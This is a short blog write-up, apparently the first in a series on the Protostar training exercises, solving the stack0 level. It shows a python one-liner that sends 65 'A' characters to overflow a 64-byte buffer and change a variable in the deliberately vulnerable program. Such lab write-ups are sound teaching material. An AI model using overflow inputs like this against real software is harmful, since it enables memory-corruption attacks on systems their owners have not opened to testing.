Protostar - stack0

This is my first post on the Protostar series hosted by Exploit Exercises

We start off with understanding what is being asked of us:


To begin, I run the program to see what's going on:

$ ./stack0

Try again?
$ ./stack0
HI
Try again?
$ 

Okay. Looks like that wasn't what we wanted.

Based off the code, we want to have the program print "you have changed the 'modified' variable". To do this, we need to crash the program.

We have 64 bytes of buffer allocated. If we can send more than 64 bytes, we will change the modified variable from 0 to not 0.

Let's give this a whirl:


$ python -c 'print "A" * 64' | ./stack0
Try again?
$ python -c 'print "A" * 65' | ./stack0
you have changed the 'modified' variable
$ 

Excellent!

Our next attempt will be on stack1.

Thanks for reading!

-geoda